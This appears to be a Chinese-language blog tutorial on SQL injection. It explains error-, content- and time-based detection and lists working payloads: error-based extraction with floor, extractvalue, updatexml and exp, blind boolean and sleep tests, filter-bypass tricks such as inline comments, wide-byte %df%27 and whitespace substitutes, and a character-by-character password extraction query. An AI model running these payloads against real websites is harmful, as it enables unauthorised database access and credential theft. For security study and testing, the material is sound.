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浅谈SQL注入

一:目录

1:如何判断SQL 注入

2:获得我们想要的数据的思路

3:绕过防御

 

二:开始

在开始之前我先谈谈我对SQL 注入的三种分类,看过很多文章,每个人基于不同的原理把SQL注入分为很多类,在这其中,我最赞成的是<SQL注入与防御>中的那种分类方法。上面把SQL注入分为这三类:基于错误,基于时间,基于内容。这同时也是我最赞成的观点。下面的一些叙述都是按照这三个类别来分别叙述的

1:如何判断SQL 注入

判断 是否是注入 总的思路在于参数后面的内容我们是否可以控制

我认为注入分为这三类,那么判断当然也按照这三类的思路。

基于错误:当我们在参数后面加个单引号,例如id=1′  可能页面会报错,是直接显示出数据库错误的那种报错。那么可能这里就是一个注入点

基于内容:用基于内容的思路来判断,就是看参数后的内容我们是否可控制,当我们用id=1可以获取一个数据页面的时候,我们可以修改一下参数,我们用id=2-1,或者id=0+1(+号需要编码,%2b)~2B..来试一试,看看返回的页面的内容是不是跟我们id=1返回的内容一致,如果返回的内容一致,那么说明id后面的参数我们是可以控制的,那么也说明这是一个注入点

基于时间:我们一样用id=1来讨论一下吧,如果我们在id=1后面加上一段代码,例如这样and if(1=1,sleep(5),1) ,这是一段if语句,就是如果1=1,则延迟5秒,否则返回1,那么当我们要访问的页面过了一段时间才可以被访问,这就说明了这是个注入点,我们在id=1后面有可以控制的参数

 

2:获得我们想要数据的思路

基于错误:个人认为基于错误是最简单的,因为他会返回数据库中的错误信息,来让我们省下很多时间,如果可以order by等 ,这些那么就更简单了。

下面提供一些报错语句:

通过floor()报错:

http://localhost/index.php?name='+or+(select+1+from(select+count(*),concat(user(),0x7e,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+%23&pass=1

通过extractvalue()报错:

http://localhost/index.php?name='+or+extractvalue(1,concat(user(),0x7e,version()))+%23&pass=1

通过updatexml()报错:

http://localhost/index.php?name='+or+updatexml(1,concat(user(),0x7e,version()),1)+%23&pass=1

通过exp()报错:

http://localhost/index.php?name='+or+EXP(~(SELECT * from(select user())a))+%23&pass=1 通过NAME_CONST(适用于低版本)报错:

http://localhost/index.php?name='+or+(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)+%23&pass=1

基于内容:当我们遇到这种id=1,我们可以用id=2-1来获得相同页面的时候,我们可以这样构造语句,id=2-1/(if(user=’root’),1,0),当user是root的时候,if函数返回的值为1,id的值也就是1,返回的页面也就相同,当user不是root,if函数返回的值就是0,2-0=2,返回的页面跟我们id=1的页面是不同的,user=’root’也就是我们可以修改数据来判断的地方

基于时间:基于时间是最花费时间的,因为我们用基于时间的时候时间是不可以设置太小的,例如sleep(2),只延迟2秒。

如果网站访问速度本来就不是怎么快的话,会影响我们对数据的判断的。

基于时间的找我们可以修改数据的方法是在函数后面加判断语句,

我们可以在函数后面加if(user=’root’,sleep(5),1),这样当user=’root’的时候,就会延迟5秒,那么我们也就可以慢慢来判断我们需要的数据了

总的来说:就选择上面

基于错误>基于内容>基于时间

毕竟基于时间的方法是花费最久的,但是当前两个方法都不可用,也就是报错统一404,返回内容统一一个页面(可是是过滤了敏感参数)的时候,这时候如果是一个注入点,我们就只能用基于时间的方法了。

3:绕过防御

内联注释:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- - 

编码绕过:

如URLEncode编码,ASCII,HEX,unicode编码绕过

空格绕过:

两个空格代替一个空格,用Tab代替空格 %20 %09 %0a %0b %0c %0d %a0 /**/ 

括号绕过空格 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来 select(user())from dual where 1=1 and 2=2;

换行符绕过:

%0a、%0d

宽字节绕过: 

过滤单引号时,可以试试宽字节 %bf%27 %df%27 %aa%27

反引号`绕过:

select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用 

等价函数绕过: 

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat() mid()、substr() ==> substring()

@@user ==> user() @@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:

substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1
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